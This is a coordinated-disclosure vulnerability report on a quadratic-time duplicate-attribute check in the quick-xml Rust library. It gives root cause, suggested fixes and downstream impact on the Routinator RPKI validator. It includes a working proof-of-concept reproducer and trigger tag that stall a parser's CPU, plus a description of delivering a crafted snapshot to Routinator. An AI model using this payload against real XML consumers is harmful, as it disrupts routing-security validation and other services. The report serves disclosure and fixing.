Summary

BytesStart::attributes() returns an Attributes iterator whose default
IterState has check_duplicates = true. For each attribute yielded,
IterState::check_for_duplicates (src/events/attributes.rs:1067-1081,
v0.40.1; :817-832 in v0.39.4)
performs an O(N) linear scan of self.keys: Vec<Range<usize>> and then
pushes the new key, so iterating N attributes on a single start tag costs
O(N²/2) byte comparisons. There is no upper bound on N other than the size of
the start-tag buffer. Any application that calls .attributes() (or uses
NsReader, which calls it internally) on attacker-supplied XML without
explicitly chaining .with_checks(false) is exposed to a CPU-exhaustion DoS.

Because the loop is pure computation with no .await/I/O, downstream
per-request I/O timeouts (e.g. reqwest::RequestBuilder::timeout, tokio
tokio::time::timeout around a read) cannot fire while it runs.

quick-xml version and build

• quick-xml: 0.39.4 (as bundled by rpki-rs 0.19.3) and 0.40.1 (latest
  release, re-confirmed 2026-06-22) — check_for_duplicates is byte-for-byte
  identical, now at src/events/attributes.rs:1067-1081.
• Rust: 1.86.0 stable, --release
• Platform: Linux x86_64 (Debian 12, glibc 2.36)

Preconditions and configuration

• Attack surface: any code path that iterates BytesStart::attributes()
  (or BytesStart::try_get_attribute, or any NsReader/Reader consumer that
  reaches Attributes::next) on XML from an untrusted source.
• Object type carrying the trigger: a single XML start tag with N distinct
  attribute names. xmlns:aXXXXXX="" is convenient because most consumers
  silently skip namespace bindings, so the attack does not change application
  semantics.
• Config gate: none — check_duplicates = true is the library default
  (IterState::new, attributes.rs). The consumer must opt out via
  .with_checks(false) to avoid the O(N²) path.
• Default config affected? yes.

Attacker's position and abilities

Any party able to supply XML to a quick-xml consumer. Confirmed downstream
impact: NLnet Labs Routinator 0.15.2 (RPKI relying-party validator,
rpki-rs 0.19.3) — any of ~18,000+ delegated RPKI CAs worldwide can deliver a
crafted RRDP snapshot.xml over HTTPS and stall the validator's CPU past its
own 600 s rrdp-timeout, which is I/O-gated and therefore cannot interrupt the
dup-check (see "Demonstrated downstream impact" below). The same primitive
applies to any SOAP/RSS/SVG/config parser built on quick-xml that does not call
.with_checks(false).

Impact

No crash, no memory exhaustion (the keys Vec is O(N) and small); pure CPU
stall on a single thread. The thread holds whatever locks/resources the caller
held when it entered the iterator.

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L — 5.3 Medium (CWE-407
Algorithmic Complexity, CWE-400 Uncontrolled Resource Consumption). Downstream
consumers without an effective wall-clock bound on XML parsing may rate this
A:H / 7.5.

Steps to reproduce

Minimal standalone reproducer (no external dependencies beyond quick-xml):

// cargo new qx-f016 && cd qx-f016
// cargo add [email protected]
use std::time::Instant;
use quick_xml::events::Event;
use quick_xml::reader::Reader;

fn main() {
    let n: usize = std::env::args().nth(1).and_then(|s| s.parse().ok()).unwrap_or(50_000);
    let mut tag = String::from(r#"<e uri="x" "#);
    for i in 0..n { tag.push_str(&format!(r#"xmlns:a{:06}="" "#, i)); }
    tag.push_str("/>");

    let mut r = Reader::from_str(&tag);
    let t0 = Instant::now();
    if let Ok(Event::Empty(bs)) = r.read_event() {
        let mut c = 0usize;
        for a in bs.attributes() { a.unwrap(); c += 1; }   // default: check_duplicates = true
        eprintln!("N={} attrs={} elapsed={:?}", n, c, t0.elapsed());
    }
}

Measured against quick-xml 0.40.1, cargo build --release:

N=10000  attrs=10001  elapsed_ms=75
N=20000  attrs=20001  elapsed_ms=303
N=40000  attrs=40001  elapsed_ms=1251
N=80000  attrs=80001  elapsed_ms=6109

Elapsed time scales as N² (each 2× N → ~4× time: 75→303→1251→6109 ms),
confirming the quadratic. Extrapolated N=800,000 → ~610 s.

A full network-level Docker PoC against Routinator 0.15.2 is available on
request (Go RRDP server + ASAN-instrumented Routinator; run.sh reproduces
end-to-end).

Trigger object

<e uri="x" xmlns:a000000="" xmlns:a000001="" … xmlns:a049999="" />

The attribute names must be distinct (else AttrError::Duplicated short-
circuits); values are irrelevant.

Current (bug) behaviour

Attributes::next() → IterState::next() → check_for_duplicates() performs
self.keys.iter().find(|r| slice[(*r).clone()] == slice[key.clone()]) then
self.keys.push(key.clone()) for every attribute, including xmlns:*.

Expected (correct) behaviour

Duplicate-attribute detection should be at most O(N log N) (sorted insert) or
amortised O(N) (hash set) over the whole start tag, and/or namespace-binding
attributes should be exempt from the check (XML Namespaces 1.1 already forbids
two bindings of the same prefix on one element, but the cost of detecting
that should not be quadratic).

Root cause

quick-xml-0.40.1/src/events/attributes.rs:1067-1081
(quick-xml-0.39.4/src/events/attributes.rs:817-832 — identical):

fn check_for_duplicates(
    &mut self,
    slice: &[u8],
    key: Range<usize>,
) -> Result<Range<usize>, AttrError> {
    if self.check_duplicates {
        if let Some(prev) = self.keys.iter()
            .find(|r| slice[(*r).clone()] == slice[key.clone()])
        {
            return Err(AttrError::Duplicated(key.start, prev.start));
        }
        self.keys.push(key.clone());
    }
    Ok(key)
}

Called unconditionally from IterState::next() (attributes.rs:1093 and
:1178 in v0.40.1; :928 in v0.39.4). No attribute category is exempt; no
size bound on self.keys.

Suggested fix

Any of (in rough order of preference):

1. Hash the seen keys — replace Vec<Range<usize>> + linear find with a
   HashSet<u64> of FxHash/aHash of &slice[key.clone()] (collision → fall
   back to byte compare). O(N) total, preserves the existing
   AttrError::Duplicated semantics.
2. Exempt namespace bindings from the dup-check:

   if self.check_duplicates {
       if slice[key.clone()].starts_with(b"xmlns")
           && (slice.get(key.start + 5) == Some(&b':') || key.len() == 5)
       {
           return Ok(key);
       }
       ...
   }

   This closes the cheapest amplification vector (consumers usually ignore
   xmlns:*) while keeping the check for "real" attributes.
3. Cap self.keys.len() at a configurable limit (e.g. 256) and return
   AttrError::TooManyAttributes beyond it.
4. At minimum, document in Attributes/with_checks rustdoc that the
   default dup-check is O(N²) and that callers handling untrusted input should
   chain .with_checks(false).

Demonstrated downstream impact (Routinator 0.15.2)

rpki-rs 0.19.3 src/xml/decode.rs:124 iterates
self.start.attributes() without .with_checks(false); xmlns:* is filtered
at decode.rs:126 only after the dup-check has run. Routinator's
rrdp-timeout (default 600 s) is set via reqwest::RequestBuilder::timeout,
which is checked only at async-I/O await points and cannot fire inside the
dup-check loop. Empirical (ASAN build, N=50,000, rrdp-timeout=5s):
wall_clock=11.05 s ≫ 5 s; release projection N=800,000 → ~614 s > 600 s. A
parallel report has been sent to NLnet Labs ([email protected])
recommending the consumer-side .with_checks(false) mitigation in rpki-rs.

Coordination

• Shared with anyone else: NLnet Labs ([email protected]), as
  Routinator/rpki-rs maintainers and the demonstrated downstream consumer.
• Publication plan: no plan to publish independently; will follow the
  quick-xml maintainers' timeline. If a fix lands, a RustSec advisory
  (https://github.com/rustsec/advisory-db) is suggested so other downstreams
  are notified via cargo audit.

Acknowledgements

Credits: Qifan Zhang (Palo Alto Networks).